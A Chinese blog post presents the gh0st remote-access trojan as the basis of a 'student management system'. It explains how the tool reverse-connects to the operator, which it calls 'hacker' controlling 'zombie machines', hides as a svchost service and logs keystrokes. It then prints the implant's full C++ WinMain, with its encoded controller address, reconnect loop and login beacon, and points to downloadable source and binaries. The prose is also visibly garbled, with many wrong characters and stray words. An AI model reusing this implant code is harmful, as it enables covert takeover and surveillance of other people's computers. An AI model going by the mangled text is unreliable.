前一段时间接到个私活,帮人开发 培训机构的学员管理系统,实现学生上线,自动通知老师,老师能够对学员的电脑进行屏幕分享和远程操做 . 接到活以后,感受就是 远控系统,在此基础上增长一些学员管理的功能. 为了快速开发,就打算在 最流行gh0st 项目上进行完善 . c++
准备 : gh0st 项目, 编译环境: visual stdio2015 c++编程
gh0st项目是在vc6.0环境编译,为了适应后期功能添加,改为了 visual stdio2015 环境编译 .服务器
为了详细了解网络编程 iocp 反弹链接 看了 "51cto 远程控制视屏" 还有 "老狼的ghost教学视屏" ,也建议对网络编程感兴趣的同窗去看看网络
下载链接以下:架构
老狼视屏: https://pan.baidu.com/s/1v6Ir2_6eKepQjRmx_38mWQapp
源码与成品: 连接:https://pan.baidu.com/s/11Or6WJp-I1i0JHtAyv89-Q
socket
提取码:联系 qq: 70583079 函数
好了下面直接上干货:gh0st是什么,大概原理是什么。ui
gh0st是一款基于C/S架构的远程管理软件(我只是就事论事,不想讨论C/S架构过期或不过期)。所谓远程管理,就是我在个人电脑上经过一些手段,能够操做其余电脑。什么是C/S架构,C表示Client,S表示Server,也就是客户端和服务端的意思。能够这样理解C/S,如今有两台电脑,一台是Server,一台是Client,server电脑就会开启一个端口,并一直监听这个端口中的信息。client来链接这个端口,链接成功后,两台机器就能互相发送信息了。(具体的原理建议你们去看socket通讯)google
gh0st用的是C/S架构中的反向链接。我用主控端和被控端来称呼黑客的电脑和肉鸡的电脑。反向链接的意思就是我主控端做为server,被控端做为client,主控端监听一个固定的端口,并有一个固定的IP。而后被控端来链接这个IP的该端口,这就是所谓的上线。
在实际状况中,黑客的电脑并非都有固定的IP,我在咱们寝室使用的是一个路由器,因而个人IP只是内网IP,192.168.x.x。并且,若是我换一个地方上网,IP也会变。这样个人被控端是找不到个人IP的。因此不少远控对待该问题,有两个解决方案:
1.DNS上线
花生壳、3322提供了免费的动态域名服务,其实就是提供了DNS服务。咱们把本身的IP绑定到DNS服务器上,被控端经过对DNS的解析,找到主控端的IP,再链接。下次换地方上网了,只须要更改本身绑定到DNS上的IP便可。
2.FTP(HTTP)上线
咱们把本身的IP写入一个文本文件1.txt,放在ftp(http)服务器上,好比ftp://leavesongs.com/1.txt。被控端去下载该txt,在其中找到主控端的IP。再链接。
固然gh0st对他们都是支持的。
再讲讲gh0st这个软件的组成。老狼给的gh0st最终编译好就是一个exe文件,点击打开后是一个主控端的样子:
在build选项卡中,填好相关信息,能够生成一个exe文件,这就是所谓的被控端。
可是咱们打开源码看,其实它是主要由三个部分组成,一是带界面的主控端,一个是动态连接库dll,一个是加载dll的exe。咱们被控端的全部功能都是写在dll当中的。而并非写在exe文件中。
大局观大概就是这些。再说一下gh0st核心内容。
在传输数据方面,主控端使用IOCP模型,关于该模型请google。在主控端中,由CIOCPServer类实现。在被控端中,数据传输使用CClientSocket类实现。数据传输是远控的核心,因此这两个类也就成了gh0st的核心类。固然,在传输过程当中,gh0st使用zlib进行压缩,减少数据包的大小。
在被控端管理方面,gh0st使用了一个很好的方案。先作了一个CManager类,做为全部管理功能的基类,其余的好比系统管理类CSystenManager就继承了CManager。大大地增长了代码的重用性。
在主控端方面,有这样一个回调函数NotifyProc,全部被控端发来的消息,都会通过此函数,在该函数中使用switch语句,处理各个消息。使得代码看起来层次分明。
在稳定性方面,被控端宿主为svchost以系统服务启动,并有守护线程,用心跳包机制防止之外掉线。
服务端代码:
// svchost.cpp : Defines the entry point for the console application. // #include "ClientSocket.h" #include "common/KernelManager.h" #include "common/KeyboardManager.h" #include "common/login.h" #include "common/install.h" #include "common/until.h" enum { NOT_CONNECT, // 尚未链接 GETLOGINFO_ERROR, CONNECT_ERROR, HEARTBEATTIMEOUT_ERROR }; #define HEART_BEAT_TIME 1000 * 60 * 3 // 心跳时间 char svcname[MAX_PATH]; LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { return 0; } // 必定要足够长 int main() { return 0; } int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { CKeyboardManager::g_hInstance = (HINSTANCE)hInstance; CKeyboardManager::m_dwLastMsgTime = GetTickCount(); CKeyboardManager::Initialization(); // lpServiceName,在ServiceMain返回后就没有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); } // 告诉操做系统:若是没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开链接的缘由,初始化为尚未链接 while (1) { // 若是不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } // 改一下 Sleep(60); } } // 上线间隔为2分, 前6个'A'是标志 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登陆 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient , strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,从新链接,以防链接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后尚未收到控制端发来的激活命令,说明对方不是控制端,从新链接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } return 0; }